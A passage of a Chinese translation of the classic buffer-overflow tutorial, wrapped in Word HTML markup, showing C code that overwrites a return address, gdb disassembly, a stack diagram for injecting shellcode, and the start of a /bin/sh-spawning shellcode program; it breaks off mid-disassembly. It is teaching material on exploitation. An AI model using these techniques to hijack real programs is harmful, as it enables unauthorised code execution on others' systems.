📄 缓冲溢出原理.doc
字号:
lang=EN-US><span style='mso-spacerun:yes'> </span>char buffer2[10];</span></pre><pre><span
lang=EN-US><span style='mso-spacerun:yes'> </span>int *ret;</span></pre><pre><span
lang=EN-US><o:p> </o:p></span></pre><pre><span lang=EN-US><span style='mso-spacerun:yes'> </span>ret = buffer1 + 12;</span></pre><pre><span
lang=EN-US><span style='mso-spacerun:yes'> </span>(*ret) += 8;</span></pre><pre><span
lang=EN-US>}</span></pre><pre><span lang=EN-US><o:p> </o:p></span></pre><pre><span
lang=EN-US>void main() {</span></pre><pre><span lang=EN-US><span style='mso-spacerun:yes'> </span>int x;</span></pre><pre><span
lang=EN-US><o:p> </o:p></span></pre><pre><span lang=EN-US><span style='mso-spacerun:yes'> </span>x = 0;</span></pre><pre><span
lang=EN-US><span style='mso-spacerun:yes'> </span>function(1,2,3);</span></pre><pre><span
lang=EN-US><span style='mso-spacerun:yes'> </span>x = 1;</span></pre><pre><span
lang=EN-US><span style='mso-spacerun:yes'> </span>printf("%d\n",x);</span></pre><pre><span
lang=EN-US>}</span></pre><pre><span lang=EN-US>------------------------------------------------------------------------------</span></pre><pre><span
lang=EN-US><o:p> </o:p></span></pre><pre><span lang=EN-US><span style='mso-spacerun:yes'> </span>我们把buffer1[]的地址加上12, 所得的新地址是返回地址储存的地方. 我们想跳过</span></pre><pre>赋值语句而直接执行<span
lang=EN-US>printf调用. 如何知道应该给返回地址加8个字节呢? 我们先前使用</span></pre><pre>过一个试验值<span
lang=EN-US>(比如1), 编译该程序, 祭出工具gdb:</span></pre><pre><span lang=EN-US><o:p> </o:p></span></pre><pre><span
lang=EN-US>------------------------------------------------------------------------------</span></pre><pre><span
lang=EN-US>[aleph1]$ gdb example3</span></pre><pre><span lang=EN-US>GDB is free software and you are welcome to distribute copies of it</span></pre><pre><span
lang=EN-US> <span class=GramE>under</span> certain conditions; type "show copying" to see the conditions.</span></pre><pre><span
lang=EN-US>There is absolutely no warranty for GDB; type "show warranty" for details.</span></pre><pre><span
lang=EN-US>GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...</span></pre><pre><span
lang=EN-US>(<span class=GramE>no</span> debugging symbols found)...</span></pre><pre><span
lang=EN-US>(gdb) disassemble main</span></pre><pre><span lang=EN-US>Dump of assembler code for function main:</span></pre><pre><span
lang=EN-US>0x8000490 <main>:<span style='mso-spacerun:yes'> </span>pushl<span style='mso-spacerun:yes'> </span>%ebp</span></pre><pre><span
lang=EN-US>0x8000491 <main+1>:<span style='mso-spacerun:yes'> </span>movl<span style='mso-spacerun:yes'> </span>%esp,%ebp</span></pre><pre><span
lang=EN-US>0x8000493 <main+3>:<span style='mso-spacerun:yes'> </span>subl<span style='mso-spacerun:yes'> </span>$0x4,%esp</span></pre><pre><span
lang=EN-US>0x8000496 <main+6>:<span style='mso-spacerun:yes'> </span>movl<span style='mso-spacerun:yes'> </span>$0x0,0xfffffffc(%ebp)</span></pre><pre><span
lang=EN-US>0x800049d <main+13>:<span style='mso-spacerun:yes'> </span>pushl<span style='mso-spacerun:yes'> </span>$0x3</span></pre><pre><span
lang=EN-US>0x800049f <main+15>:<span style='mso-spacerun:yes'> </span>pushl<span style='mso-spacerun:yes'> </span>$0x2</span></pre><pre><span
lang=EN-US>0x80004a1 <main+17>:<span style='mso-spacerun:yes'> </span>pushl<span style='mso-spacerun:yes'> </span>$0x1</span></pre><pre><span
lang=EN-US>0x80004a3 <main+19>:<span style='mso-spacerun:yes'> </span>call<span style='mso-spacerun:yes'> </span>0x8000470 <function></span></pre><pre><span
lang=EN-US>0x80004a8 <main+24>:<span style='mso-spacerun:yes'> </span>addl<span style='mso-spacerun:yes'> </span>$0xc,%esp</span></pre><pre><span
lang=EN-US>0x80004ab <main+27>:<span style='mso-spacerun:yes'> </span>movl<span style='mso-spacerun:yes'> </span>$0x1,0xfffffffc(%ebp)</span></pre><pre><span
lang=EN-US>0x80004b2 <main+34>:<span style='mso-spacerun:yes'> </span>movl<span style='mso-spacerun:yes'> </span>0xfffffffc(%ebp),%eax</span></pre><pre><span
lang=EN-US>0x80004b5 <main+37>: <span style='mso-spacerun:yes'> </span>pushl<span style='mso-spacerun:yes'> </span>%eax</span></pre><pre><span
lang=EN-US>0x80004b6 <main+38>:<span style='mso-spacerun:yes'> </span>pushl<span style='mso-spacerun:yes'> </span>$0x80004f8</span></pre><pre><span
lang=EN-US>0x80004bb <main+43>:<span style='mso-spacerun:yes'> </span>call<span style='mso-spacerun:yes'> </span>0x8000378 <printf></span></pre><pre><span
lang=EN-US>0x80004c0 <main+48>:<span style='mso-spacerun:yes'> </span>addl<span style='mso-spacerun:yes'> </span>$0x8,%esp</span></pre><pre><span
lang=EN-US>0x80004c3 <main+51>:<span style='mso-spacerun:yes'> </span>movl<span style='mso-spacerun:yes'> </span>%ebp,%esp</span></pre><pre><span
lang=EN-US>0x80004c5 <main+53>:<span style='mso-spacerun:yes'> </span>popl<span style='mso-spacerun:yes'> </span>%ebp</span></pre><pre><span
lang=EN-US>0x80004c6 <main+54>:<span style='mso-spacerun:yes'> </span>ret</span></pre><pre><span
lang=EN-US>0x80004c7 <main+55>:<span style='mso-spacerun:yes'> </span>nop</span></pre><pre><span
lang=EN-US>------------------------------------------------------------------------------</span></pre><pre><span
lang=EN-US><o:p> </o:p></span></pre><pre><span lang=EN-US><span style='mso-spacerun:yes'> </span>我们看到当调用function()时, RET会是0x8004a8, 我们希望跳过在0x80004ab的赋值</span></pre><pre>指令<span
lang=EN-US>. 下一个想要执行的指令在0x8004b2. 简单的计算告诉我们两个指令的距离为8字节.</span></pre><pre><span
lang=EN-US><o:p> </o:p></span></pre><pre><span lang=EN-US><o:p> </o:p></span></pre><pre><span
lang=EN-US><span style='mso-spacerun:yes'> </span>Shell Code</span></pre><pre><span
lang=EN-US><span style='mso-spacerun:yes'> </span>~~~~~~~~~~</span></pre><pre><span
lang=EN-US><span style='mso-spacerun:yes'> </span>现在我们可以修改返回地址即可以改变程序执行的流程, 我们想要执行什么程序呢?</span></pre><pre>在大多数情况下我们只是希望程序派生出一个<span
lang=EN-US>shell. 从这个shell中, 可以执行任何我</span></pre><pre>们所希望的命令<span
lang=EN-US>. 但是如果我们试图破解的程序里并没有这样的代码可怎么办呢? 我们</span></pre><pre>怎么样才能将任意指令放到程序的地址空间中去呢<span
lang=EN-US>? 答案就是把想要执行的代码放到我</span></pre><pre>们想使其溢出的缓冲区里<span lang=EN-US>, 并且覆盖函数的返回地址, 使其指向这个缓冲区. 假定堆栈</span></pre><pre>的起始地址为<span
lang=EN-US>0xFF, S代表我们想要执行的代码, 堆栈看起来应该是这样:</span></pre><pre><span lang=EN-US><o:p> </o:p></span></pre><pre>内存低<span
lang=EN-US><span style='mso-spacerun:yes'> </span>DDDDDDDDEEEEEEEEEEEE<span style='mso-spacerun:yes'> </span>EEEE<span style='mso-spacerun:yes'> </span>FFFF<span style='mso-spacerun:yes'> </span>FFFF<span style='mso-spacerun:yes'> </span>FFFF<span style='mso-spacerun:yes'> </span>FFFF<span style='mso-spacerun:yes'> </span>内存高</span></pre><pre>地址<span
lang=EN-US><span style='mso-spacerun:yes'> </span>89ABCDEF0123456789AB<span style='mso-spacerun:yes'> </span>CDEF<span style='mso-spacerun:yes'> </span>0123<span style='mso-spacerun:yes'> </span>4567<span style='mso-spacerun:yes'> </span>89AB<span style='mso-spacerun:yes'> </span>CDEF<span style='mso-spacerun:yes'> </span>地址</span></pre><pre><span
lang=EN-US><span style='mso-spacerun:yes'> </span>buffer<span style='mso-spacerun:yes'> </span>sfp<span style='mso-spacerun:yes'> </span>ret<span style='mso-spacerun:yes'> </span>a<span style='mso-spacerun:yes'> </span>b<span style='mso-spacerun:yes'> </span>c</span></pre><pre><span
lang=EN-US><o:p> </o:p></span></pre><pre><span lang=EN-US><------<span style='mso-spacerun:yes'> </span>[SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]</span></pre><pre><span
lang=EN-US><span style='mso-spacerun:yes'> </span>^<span style='mso-spacerun:yes'> </span>|</span></pre><pre><span
lang=EN-US><span style='mso-spacerun:yes'> </span>|____________________________|</span></pre><pre>堆栈顶部<span
lang=EN-US><span style='mso-spacerun:yes'> </span>堆栈底部</span></pre><pre><span
lang=EN-US><span style='mso-spacerun:yes'> </span><span style='mso-spacerun:yes'> </span></span></pre><pre><span
lang=EN-US><span style='mso-spacerun:yes'> </span>派生出一个shell的C语言代码是这样的:</span></pre><pre><span
lang=EN-US><span style='mso-spacerun:yes'> </span></span></pre><pre><span
lang=EN-US>shellcode.c</span></pre><pre><span lang=EN-US>-----------------------------------------------------------------------------</span></pre><pre><span
lang=EN-US>#include <stdio.h></span></pre><pre><span lang=EN-US><o:p> </o:p></span></pre><pre><span
lang=EN-US>void main() {</span></pre><pre><span lang=EN-US><span style='mso-spacerun:yes'> </span>char *name[2];</span></pre><pre><span
lang=EN-US><o:p> </o:p></span></pre><pre><span lang=EN-US><span style='mso-spacerun:yes'> </span>name[0] = "/bin/sh";</span></pre><pre><span
lang=EN-US><span style='mso-spacerun:yes'> </span>name[1] = NULL;</span></pre><pre><span
lang=EN-US><span style='mso-spacerun:yes'> </span>execve(name[0], name, NULL);</span></pre><pre><span
lang=EN-US>}</span></pre><pre><span lang=EN-US>------------------------------------------------------------------------------</span></pre><pre><span
lang=EN-US> </span></pre><pre><span lang=EN-US><span style='mso-spacerun:yes'> </span>为了查明这程序变成汇编后是个什么样子, 我们编译它, 然后祭出调试工具gdb. 记住</span></pre><pre>在编译的时候要使用<span
lang=EN-US>-static标志, 否则系统调用execve的真实代码就不会包括在汇编中,</span></pre><pre>取而代之的是对动态<span
lang=EN-US>C语言库的一个引用, 真正的代码要到程序加载的时候才会联入.</span></pre><pre><span lang=EN-US><o:p> </o:p></span></pre><pre><span
lang=EN-US>------------------------------------------------------------------------------</span></pre><pre><span
lang=EN-US>[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c</span></pre><pre><span
lang=EN-US>[aleph1]$ gdb shellcode</span></pre><pre><span lang=EN-US>GDB is free software and you are welcome to distribute copies of it</span></pre><pre><span
lang=EN-US> <span class=GramE>under</span> certain conditions; type "show copying" to see the conditions.</span></pre><pre><span
lang=EN-US>There is absolutely no warranty for GDB; type "show warranty" for details.</span></pre><pre><span
lang=EN-US>GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...</span></pre><pre><span
lang=EN-US>(gdb) disassemble main</span></pre><pre><span lang=EN-US>Dump of assembler code for function main:</span></pre><pre><span
lang=EN-US>0x8000130 <main>:<span style='mso-spacerun:yes'> </span>pushl<span style='mso-spacerun:yes'> </span>%ebp</span></pre><pre><span
lang=EN-US>0x8000131 <main+1>:<span style='mso-spacerun:yes'> </span>movl<span style='mso-spacerun:yes'> </span>%esp,%ebp</span></pre><pre><span
lang=EN-US>0x8000133 <main+3>:<span style='mso-spacerun:yes'> </span>subl<span style='mso-spacerun:yes'> </span>$0x8,%esp</span></pre><pre><span
lang=EN-US>0x8000136 <main+6>:<span style='mso-spacerun:yes'> </span>movl<span style='mso-spacerun:yes'> </span>$0x80027b8,0xfffffff8(%ebp)</span></pre><pre><span
lang=EN-US>0x800013d <main+13>:<span style='mso-spacerun:yes'> </span>movl<span style='mso-spacerun:yes'> </span>$0x0,0xfffffffc(%ebp)</span></pre><pre><span
lang=EN-US>0x8000144 <main+20>:<span style='mso-spacerun:yes'> </span>pushl<span style='mso-spacerun:yes'> </span>$0x0</span></pre><pre><span
lang=EN-US>0x8000146 <main+22>:<span style='mso-spacerun:yes'> </span>leal<span style='mso-spacerun:yes'> </span>0xfffffff8(%ebp),%eax</span></pre><pre><span
lang=EN-US>0x8000149 <main+25>:<span style='mso-spacerun:yes'> </span>pushl<span style='mso-spacerun:yes'> </span>%eax</span></pre><pre><span
lang=EN-US>0x800014a <main+26>:<span style='mso-spacerun:yes'> </span>movl<span style='mso-spacerun:yes'> </span>0xfffffff8(%ebp),%eax</span></pre><pre><span
lang=EN-US>0x800014d <main+29>:<span style='mso-spacerun:yes'> </span>pushl<span style='mso-spacerun:yes'> </span>%eax</span></pre><pre><span
lang=EN-US>0x800014e <main+30>:<span style='mso-spacerun:yes'> </span>call<span style='mso-spacerun:yes'> </span>0
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -